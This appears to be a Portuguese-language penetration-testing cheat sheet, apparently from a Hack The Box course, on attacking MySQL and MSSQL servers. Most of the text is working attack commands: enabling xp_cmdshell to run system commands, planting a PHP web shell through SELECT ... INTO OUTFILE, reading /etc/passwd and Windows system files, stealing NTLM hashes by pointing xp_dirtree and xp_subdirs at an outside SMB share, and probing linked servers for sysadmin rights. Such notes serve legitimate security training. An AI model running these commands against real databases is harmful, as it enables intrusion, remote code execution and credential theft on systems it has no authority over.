SQL Databases
MySQL e Microsoft SQL Server ( MSSQL
) são sistemas de gerenciamento de banco de dados relacional que armazenam dados em tabelas, colunas e linhas. Muitos sistemas de banco de dados relacional como MSSQL e MySQL usam a Structured Query Language ( SQL
) para consultar e manter o banco de dados.
MSSQL PORT : TCP and UDP
1433
MySQL PORT : TCP
3306
Banner Grabbing
nmap -Pn -sV -sC -p1433 10.10.10.125
MySQL - Conectando ao SQL Server
mysql -u julio -pPassword123 -h 10.129.20.13
Sqlcmd - Conectando ao SQL Server
sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30
Se estivermos mirando
MSSQL
no Linux, podemos usarsqsh
como alternativasqlcmd
:
sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h
Alternativamente, podemos usar a ferramenta do Impacket com o nome
mssqlclient.py
.
mssqlclient.py -p 1433 julio@10.129.203.7
Conectando-se ao servidor MSSQL a partir do Linux enquanto o mecanismo de autenticação do Windows é usado pelo servidor MSSQL.
sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h
Mostrar todos os bancos de dados disponíveis no MySQL.
mysql> SHOW DATABASES;
Selecione um banco de dados específico no MySQL.
mysql> USE htbusers;
Mostrar todas as tabelas disponíveis no banco de dados selecionado no MySQL.
mysql> SHOW TABLES;
Selecione todas as entradas disponíveis da tabela "users" no MySQL.
mysql> SELECT * FROM users;
Mostrar todos os bancos de dados disponíveis no MSSQL.
sqlcmd> SELECT name FROM master.dbo.sysdatabases
Selecione um banco de dados específico no MSSQL.
sqlcmd> USE htbusers
Mostrar todas as tabelas disponíveis no banco de dados selecionado no MSSQL.
sqlcmd> SELECT * FROM htbusers.INFORMATION_SCHEMA.TABLES
Selecione todas as entradas disponíveis da tabela "usuários" no MSSQL.
sqlcmd> SELECT * FROM users
Para permitir que opções avançadas sejam alteradas.
sqlcmd> EXECUTE sp_configure 'show advanced options', 1
Para habilitar o xp_cmdshell.
sqlcmd> EXECUTE sp_configure 'xp_cmdshell', 1
Para ser usado após cada comando sp_configure para aplicar as alterações.
sqlcmd> RECONFIGURE
Execute um comando do sistema a partir do servidor MSSQL.
sqlcmd> xp_cmdshell 'whoami'
Crie um arquivo usando MySQL.
mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php'
Verifique se os privilégios de arquivo seguro estão vazios para ler arquivos armazenados localmente no sistema.
mysql> show variables like "secure_file_priv";
Leia arquivos locais no MSSQL.
sqlcmd> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
Leia arquivos locais no MySQL.
mysql> select LOAD_FILE("/etc/passwd");
Roubo de hash usando o
xp_dirtree
comando no MSSQL.
sqlcmd> EXEC master..xp_dirtree '\\10.10.110.17\share\'
Roubo de hash usando o
xp_subdirs
comando no MSSQL.
sqlcmd> EXEC master..xp_subdirs '\\10.10.110.17\share\'
Identificar servidores vinculados no MSSQL.
sqlcmd> SELECT srvname, isremote FROM sysservers
Identifique o usuário e seus privilégios usados para a conexão remota no MSSQL.
sqlcmd> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
Last updated